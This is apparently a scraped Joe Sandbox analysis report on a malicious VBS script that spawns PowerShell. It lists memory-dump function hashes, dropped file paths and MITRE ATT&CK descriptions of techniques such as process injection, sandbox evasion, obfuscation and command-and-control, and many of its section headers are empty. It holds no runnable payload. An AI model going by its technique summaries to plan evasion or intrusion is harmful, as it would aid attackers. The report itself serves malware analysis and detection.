Opcode ID: 4389f267cb4ef03f48f8f4aeeefad76253d98bba8cb69df6cc3b8603ff94511c
Instruction ID: 42e8b13fc1d9130008b924131527799a6d7486f797692b17d2854e61eb924749
Opcode Fuzzy Hash: 4389f267cb4ef03f48f8f4aeeefad76253d98bba8cb69df6cc3b8603ff94511c
Instruction Fuzzy Hash: A85127F0A1420ADFCBB4EF18C540B6ABBF2AF95714F1885A6E805DB691D731DD40CB51

Function 07882900 Relevance: 7.6, Strings: 6, Instructions: 106COMMON

Download Yara Rule

Strings

$]q, xrefs: 0788294A
4']q, xrefs: 07882978
4']q, xrefs: 0788296C
$]q, xrefs: 07882956
$]q, xrefs: 07882A42
$]q, xrefs: 07882A36

Memory Dump Source

Source File: 00000007.00000002.3356649437.0000000007880000.00000040.00000800.00020000.00000000.sdmp, Offset: 07880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7880000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$$]q$$]q$$]q$$]q
API String ID: 0-1480752206
Opcode ID: 4eb07807768f7f799f7be2207c06e7c788b631b3f88220918c7d857769168b3f
Instruction ID: da38a22eaa6f01d056d0d361d745775e588bf058066f0540912e4e9b20bb7ff0
Opcode Fuzzy Hash: 4eb07807768f7f799f7be2207c06e7c788b631b3f88220918c7d857769168b3f
Instruction Fuzzy Hash: DD318BB07093951FC37A662C1C20A757FA6BFA3520BA9449BD481DF2ABC9258C468397

Function 0788A430 Relevance: 7.6, Strings: 6, Instructions: 105COMMON

Download Yara Rule

Strings

$]q, xrefs: 0788A483
$]q, xrefs: 0788A467
$]q, xrefs: 0788A4AB
$]q, xrefs: 0788A4B7
$]q, xrefs: 0788A4C7
$]q, xrefs: 0788A4D3

Memory Dump Source

Source File: 00000007.00000002.3356649437.0000000007880000.00000040.00000800.00020000.00000000.sdmp, Offset: 07880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7880000_powershell.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-3723351465
Opcode ID: e26a1b899afd3999a2aba9baeb683dc5507ddbadf8f09404ae76f8d2f7a0094c
Instruction ID: 11cd8d9c9c711847d57262601b1c5c21f3ba284aeed1ddbf8eb747c43a987d85
Opcode Fuzzy Hash: e26a1b899afd3999a2aba9baeb683dc5507ddbadf8f09404ae76f8d2f7a0094c
Instruction Fuzzy Hash: 5C3147B67042078FDFAD6DA99454276B7E5ABE2610B18C4BBC882CB282DA35C845C353

Function 078834B8 Relevance: 6.3, Strings: 5, Instructions: 92COMMON

Download Yara Rule

Strings

$]q, xrefs: 078834FE
4']q, xrefs: 078835DE
$]q, xrefs: 078835B5
$]q, xrefs: 07883574
$]q, xrefs: 0788351F

Memory Dump Source

Source File: 00000007.00000002.3356649437.0000000007880000.00000040.00000800.00020000.00000000.sdmp, Offset: 07880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7880000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$$]q$$]q$$]q$$]q
API String ID: 0-2705583504
Opcode ID: d5a8da8f0dcd1093f13ba62d30efcd0709c51fe70d30835200094a40169b9bc1
Instruction ID: f051d19e377d39b8d0fe2dbffa1c5edd1cc65a9f3c1d47cd40bf935ca88eb071
Opcode Fuzzy Hash: d5a8da8f0dcd1093f13ba62d30efcd0709c51fe70d30835200094a40169b9bc1
Instruction Fuzzy Hash: 2D31DDF120430AEFCBB56E09C54067D7FA4AF62E65F1986A6E804CB952C775C980CB51

Function 0788E5E6 Relevance: 6.3, Strings: 5, Instructions: 85COMMON

Download Yara Rule

Strings

d%cq, xrefs: 0788E65F
d%cq, xrefs: 0788E6C3
4']q, xrefs: 0788E737
tP]q, xrefs: 0788E699
d%cq, xrefs: 0788E6CD

Memory Dump Source

Source File: 00000007.00000002.3356649437.0000000007880000.00000040.00000800.00020000.00000000.sdmp, Offset: 07880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7880000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$d%cq$d%cq$d%cq$tP]q
API String ID: 0-1723543176
Opcode ID: b7a04a6093d3909fbd59adfe110a8462c7fb351ffefc69fac269638a6c6cf9d2
Instruction ID: 13c02d3706b8f5e3da76b175e86e5aade81737cb1587470cb078dff053ac477c
Opcode Fuzzy Hash: b7a04a6093d3909fbd59adfe110a8462c7fb351ffefc69fac269638a6c6cf9d2
Instruction Fuzzy Hash: A831D4B4B40209DFCB64EF58C480A5ABBE2FF98754F148559E905EB750C772EC01CB91

Function 0788DD50 Relevance: 5.5, Strings: 4, Instructions: 492COMMON

Download Yara Rule

Strings

(o]q, xrefs: 0788DE36
(o]q, xrefs: 0788DE46
(o]q, xrefs: 0788E179
(o]q, xrefs: 0788E189

Memory Dump Source

Source File: 00000007.00000002.3356649437.0000000007880000.00000040.00000800.00020000.00000000.sdmp, Offset: 07880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7880000_powershell.jbxd

Similarity

API ID:
String ID: (o]q$(o]q$(o]q$(o]q
API String ID: 0-1261621458
Opcode ID: 099876ecb1d23477ae8b412c4739ebb9bda16d7259c1c39f0ade48227343000f
Instruction ID: 1c6ab0af94c83847254238d7f34f4d77a40ce12129f83dd37f9b47e66a0838c9
Opcode Fuzzy Hash: 099876ecb1d23477ae8b412c4739ebb9bda16d7259c1c39f0ade48227343000f
Instruction Fuzzy Hash: 7CF169B170830ADFDB55AF68C854B6ABBA2FFA5310F14C46AE415CB2D2DB31D841C761

Function 073C22A8 Relevance: 5.4, Strings: 4, Instructions: 374COMMON

Download Yara Rule

Strings

4']q, xrefs: 073C245B
4']q, xrefs: 073C2467
4']q, xrefs: 073C24DA
4']q, xrefs: 073C24E6

Memory Dump Source

Source File: 00000007.00000002.3354485969.00000000073C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_73c0000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$4']q$4']q
API String ID: 0-1785108022
Opcode ID: 113d79160ddcb9039f2ced2d6e85f14696299cb5454c7b22cdc502c5978f43fe
Instruction ID: 5d9fec7b0948766b4360148e16d0bac20e4d177fd7ef21d04075282d6235631c
Opcode Fuzzy Hash: 113d79160ddcb9039f2ced2d6e85f14696299cb5454c7b22cdc502c5978f43fe
Instruction Fuzzy Hash: 1CE1B0B0A002059BEB14DBA8C551B6FBBE6FF84304F14882DD8096F745CF76AC41CBA2

Function 07880E60 Relevance: 5.3, Strings: 4, Instructions: 288COMMON

Download Yara Rule

Strings

4']q, xrefs: 07880F4D
4']q, xrefs: 07880F41
4']q, xrefs: 0788110D
4']q, xrefs: 07881101

Memory Dump Source

Source File: 00000007.00000002.3356649437.0000000007880000.00000040.00000800.00020000.00000000.sdmp, Offset: 07880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7880000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$4']q$4']q
API String ID: 0-1785108022
Opcode ID: c60ce309ab8c6e90a86f2d8730e663955bc6b6f00d92eedd1e0de63bb7a60896
Instruction ID: 5b394ad0b3be98af4af62b46d244d3ee041a80f2bc27229e43819b7d1f64c930
Opcode Fuzzy Hash: c60ce309ab8c6e90a86f2d8730e663955bc6b6f00d92eedd1e0de63bb7a60896
Instruction Fuzzy Hash: FA9169B5F0434ECFCB55AF68894466ABBF6AFD6210F24C0ABD405CB252DB31C846C761

Function 078818D7 Relevance: 5.2, Strings: 4, Instructions: 232COMMON

Download Yara Rule

Strings

4']q, xrefs: 07881B63
tP]q, xrefs: 07881A4B
tP]q, xrefs: 07881BC1
4']q, xrefs: 078819F4

Memory Dump Source

Source File: 00000007.00000002.3356649437.0000000007880000.00000040.00000800.00020000.00000000.sdmp, Offset: 07880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7880000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$tP]q$tP]q
API String ID: 0-3637193552
Opcode ID: a2ba66f720da31308ff57ce621a3577a830aec6280cdac1bde963e0439cbaad0
Instruction ID: 3f056b01573525a0b37aafb3238eb528cd3610daff09cc4d3526ae7cc47187d2
Opcode Fuzzy Hash: a2ba66f720da31308ff57ce621a3577a830aec6280cdac1bde963e0439cbaad0
Instruction Fuzzy Hash: 1A915BB0E01219DFCB64DF49C988BA9BBB2BF59714F198459E805DB751CB31DC82CB90

Function 0788F79C Relevance: 5.1, Strings: 4, Instructions: 127COMMON

Download Yara Rule

Strings

tP]q, xrefs: 0788F8BC
XRbq, xrefs: 0788F94D
XRbq, xrefs: 0788F819
$]q, xrefs: 0788F835

Memory Dump Source

Source File: 00000007.00000002.3356649437.0000000007880000.00000040.00000800.00020000.00000000.sdmp, Offset: 07880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7880000_powershell.jbxd

Similarity

API ID:
String ID: XRbq$XRbq$tP]q$$]q
API String ID: 0-2385373255
Opcode ID: 78be9d80393056cdc683aa87516bafcfa82a21004e637ff38fb22c3e6bfaae10
Instruction ID: be862e11f52168d5c457c0c93f68a11c8b71c5cb9feb5266e53324d233ee1b1d
Opcode Fuzzy Hash: 78be9d80393056cdc683aa87516bafcfa82a21004e637ff38fb22c3e6bfaae10
Instruction Fuzzy Hash: E741B4B1A00206DFCB64EF19C544BA9B7F2EF69714F69C0AAD604EB295C731DD41CB50

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report v4BET4inNV.vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Other

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_eky2a01s.2br.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lwkhhwjd.plx.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_og2eey3y.42o.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rjfgseyu.aek.psm1

C:\Users\user\AppData\Roaming\Pharmacists201.Str

Static File Info

General

File Icon

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

Windows Analysis Report
v4BET4inNV.vbs